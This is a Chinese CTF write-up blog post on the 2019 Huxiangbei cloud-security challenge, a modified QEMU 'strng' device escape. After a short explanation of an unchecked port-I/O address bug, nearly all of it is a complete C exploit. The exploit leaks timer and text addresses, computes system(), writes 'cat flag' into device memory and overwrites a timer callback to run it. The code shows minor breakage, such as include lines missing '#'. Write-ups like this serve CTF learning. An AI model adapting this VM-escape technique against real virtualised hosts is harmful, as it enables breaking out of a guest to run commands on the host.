云安全

发表于 2021-01-04 分类于 Challenge， 2019， 湖湘杯， 创新
Challenge | 2019 | 湖湘杯 | 创新 | 云安全

点击此处获得更好的阅读体验

Blizzard CTF 2017 Strng魔改题，漏洞相同，仍然是pmio 地址没有校验的问题可以造成任意读写，只是把原来的函数指针改成了timer，通过读timer中的数据泄露地址，然后修改timer指针，触发timer，拿到flag

```
1  include <assert.h>
2  include <fcntl.h>
3  include <inttypes.h>
4  include <stdio.h>
5  include <stdlib.h>
6  include <string.h>
7  include <sys/mman.h>
8  include <sys/types.h>
9  include <unistd.h>
10 include<sys/io.h>
11 unsigned char* mmio_mem;
12 uint32_t pmio_base=0xc050;
13 void die(const char* msg)
14 {
15     perror(msg);
16     exit(-1);
17 }
18 void mmio_write(uint32_t addr, uint32_t value)
19 {
20     *((uint32_t*)(mmio_mem + addr)) = value;
21 }
22 uint32_t mmio_read(uint32_t addr)
23 {
24     return *((uint32_t*)(mmio_mem + addr));
25 }
26 void pmio_write(uint32_t addr, uint32_t value)
27 {
28     outl(value,addr);
29 }
30 uint32_t pmio_read(uint32_t addr)
31 {
32     return (uint32_t)inl(addr);
33 }
34 uint32_t pmio_arbread(uint32_t offset)
35 {
36     pmio_write(pmio_base+0,offset);
37     return pmio_read(pmio_base+4);
38 }
39 void pmio_abwrite(uint32_t offset, uint32_t value)
40 {
41     pmio_write(pmio_base+0,offset);
42     pmio_write(pmio_base+4,value);
43 }
44 int main(int argc, char *argv[])
45 {
46     // Open and map I/O memory for the strng device
47     int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
48     if (mmio_fd == -1)
49         die("mmio_fd open failed");
50     mmio_mem = (char*)mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
51     if (mmio_mem == MAP_FAILED)
52         die("mmap mmio_mem failed");
53     printf("mmio_mem @ %p\n", mmio_mem);
54     //mmio_write(12,0x6f6f722f);
55     //mmio_write(16,0x6c662f74);
56     //mmio_write(20,0x6761);
57     // Open and map I/O memory for the strng device
58     if (iopl(3) !=0 )
59         die("I/O permission is not enough");
60     // leak heap address
61     uint64_t timer_list_addr = pmio_arbread(0x10c);
62     timer_list_addr = timer_list_addr << 32;
63     timer_list_addr += pmio_arbread(0x108);
```

```
    printf("[+] leak timer_list addr: 0x%lx\n", timer_list_addr);
    // leak text addr
    uint64_t cb_addr = pmio_arbread(0x114);
    cb_addr = cb_addr << 32;
    cb_addr += pmio_arbread(0x110);
    uint64_t text_base = cb_addr - 0x29ac8e;
    uint64_t system_addr = text_base + 0x200D50;
    printf("[+] leak cb addr: 0x%lx\n", cb_addr);
    printf("[+] text base: 0x%lx\n", text_base);
    printf("[+] system addr: 0x%lx\n", system_addr);
    // leak opaque addr
    uint64_t opaque_addr = pmio_arbread(0x11c);
    opaque_addr = opaque_addr << 32;
    opaque_addr += pmio_arbread(0x118);
    printf("[+] leak opaque addr: 0x%lx\n", opaque_addr);
    // write parameter addr first
    //pmio_abwrite(0x0, 0xffffffff);
    uint64_t para_addr = opaque_addr + 0xb04;
    pmio_abwrite(0x118, para_addr & 0xffffffff);
    // set flag first and then overwrite timer func pointer and trigger timer
    mmio_write(12,0x20746163); // 'cat '
    mmio_write(16, 0x67616c66); // 'flag'
    pmio_abwrite(0x110, system_addr & 0xffffffff);
    printf("[+] flag: \n");
    /*
    // leaking libc address
    uint64_t srandom_addr=pmio_arbread(0x108);
    srandom_addr=srandom_addr<<32;
    srandom_addr+=pmio_arbread(0x104);
    printf("leaking srandom addr: 0x%lx\n",srandom_addr);
    uint64_t libc_base= srandom_addr-0x43bb0;
    uint64_t system_addr= libc_base+0x4f440;
    printf("libc base: 0x%lx\n",libc_base);
    printf("system addr: 0x%lx\n",system_addr);
    // leaking heap address
    uint64_t heap_addr=pmio_arbread(0x1d0);
    heap_addr=heap_addr<<32;
    heap_addr+=pmio_arbread(0x1cc);
    printf("leaking heap addr: 0x%lx\n",heap_addr);
    uint64_t para_addr=heap_addr+0x39c7c;
    printf("parameter addr: 0xlx\n",para_addr);
    // overwrite rand_r pointer to system
    pmio_abwrite(0x114,system_addr&0xffffffff);
    mmio_write(0xc,0);
    */
}
```


 # Challenge # 2019 # 湖湘杯 # 创新
untar
大数据